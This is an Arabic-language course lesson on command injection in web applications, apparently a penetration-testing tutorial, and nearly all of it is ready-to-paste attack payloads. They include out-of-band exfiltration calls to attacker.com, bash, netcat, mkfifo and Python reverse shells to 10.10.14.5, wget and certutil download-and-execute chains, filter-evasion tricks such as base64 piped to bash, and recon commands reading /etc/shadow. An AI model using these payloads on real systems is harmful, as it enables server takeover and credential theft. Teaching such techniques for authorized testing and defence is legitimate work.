هجمات تطبيقات الويب
حقن الأوامر
4 دقيقة للقراءة
حقن الأوامر يسمح للمهاجمين بتنفيذ أوامر النظام على الخادم المستهدف. هذه الثغرة شائعة في تطبيقات الويب التي تعالج مدخلات المستخدم.
فهم حقن الأوامر
الكود الضعيف يمرر مدخلات المستخدم مباشرة لأوامر النظام:
// PHP ضعيف
$output = shell_exec("ping -c 4 " . $_GET['ip']);
// مع المدخل: 127.0.0.1; cat /etc/passwd
// يصبح: ping -c 4 127.0.0.1; cat /etc/passwd
معاملات حقن الأوامر
معاملات Linux
| المعامل | الوصف | مثال |
|---|---|---|
; |
فاصل الأوامر | ; whoami |
&& |
AND (الثاني يعمل إذا نجح الأول) | && whoami |
|| |
OR (الثاني يعمل إذا فشل الأول) | || whoami |
| |
توجيه الإخراج | | whoami |
` |
استبدال الأوامر | `whoami` |
$() |
استبدال الأوامر | $(whoami) |
\n |
سطر جديد | %0a whoami |
معاملات Windows
| المعامل | الوصف | مثال |
|---|---|---|
& |
فاصل الأوامر | & whoami |
&& |
AND | && whoami |
|| |
OR | || whoami |
| |
توجيه | | whoami |
اختبار حقن الأوامر
الكشف الأساسي
; id
; whoami
& id
&& id
| id
|| id
`id`
$(id)
حقن الأوامر الأعمى
عندما لا يُعرض الإخراج، استخدم الكشف المبني على الوقت:
# Linux
; sleep 5
& sleep 5
| sleep 5
$(sleep 5)
# Windows
& ping -n 5 127.0.0.1
| ping -n 5 127.0.0.1
الكشف خارج النطاق
# استدعاء DNS (Linux)
; nslookup attacker.com
; curl http://attacker.com/$(whoami)
# استدعاء DNS (Windows)
& nslookup attacker.com
& certutil -urlcache -split -f http://attacker.com/
تقنيات الاستغلال
Shell مباشر
# Linux reverse shell
; bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
# نسخة مشفرة URL
%3B%20bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.5%2F4444%200%3E%261'
تحميل ملف وتنفيذ
# Linux
; wget http://10.10.14.5/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh
# Windows
& certutil -urlcache -split -f http://10.10.14.5/nc.exe C:\Windows\Temp\nc.exe & C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 4444
تجاوز الفلاتر
تجاوز المسافات
# باستخدام $IFS (فاصل الحقل الداخلي)
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
# باستخدام tabs
cat%09/etc/passwd
# باستخدام توسيع الأقواس
{cat,/etc/passwd}
تجاوز الكلمات المفتاحية
# تقسيم الأوامر
wh$()oami
wh``oami
who$@ami
# باستخدام المتغيرات
a=wh;b=oami;$a$b
# ترميز Base64
echo "d2hvYW1p" | base64 -d | bash
تجاوز علامات الاقتباس
# علامات اقتباس مفردة
w'h'o'am'i
# علامات اقتباس مزدوجة
w"h"o"am"i
# الخط المائل العكسي
w\ho\am\i
الدوال الضعيفة الشائعة
PHP
system()
exec()
shell_exec()
passthru()
popen()
proc_open()
pcntl_exec()
Python
os.system()
os.popen()
subprocess.call()
subprocess.run()
subprocess.Popen()
Node.js
child_process.exec()
child_process.spawn()
child_process.execSync()
حمولات حقن الأوامر
استطلاع Linux
; id
; whoami
; uname -a
; cat /etc/passwd
; cat /etc/shadow
; ls -la /home
; env
; ps aux
استطلاع Windows
& whoami
& hostname
& ipconfig
& net user
& net localgroup administrators
& systeminfo
& dir C:\Users
حمولات Reverse Shell
# Linux bash
; bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
# Linux netcat
; nc -e /bin/bash 10.10.14.5 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f
# Python
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
سير عمل حقن الأوامر
1. تحديد متجهات الإدخال
└── حقول النماذج، معاملات URL، الترويسات
2. الاختبار بمعاملات بسيطة
└── ; id، | id، & whoami
3. فحص الحقن الأعمى
└── أوامر sleep، استدعاءات DNS
4. تجاوز الفلاتر إذا لزم
└── الترميز، $IFS، تقسيم الأوامر
5. التصعيد إلى shell
└── reverse shell، رفع ملف
في الدرس التالي، سنغطي ثغرات تضمين الملفات (LFI/RFI). :::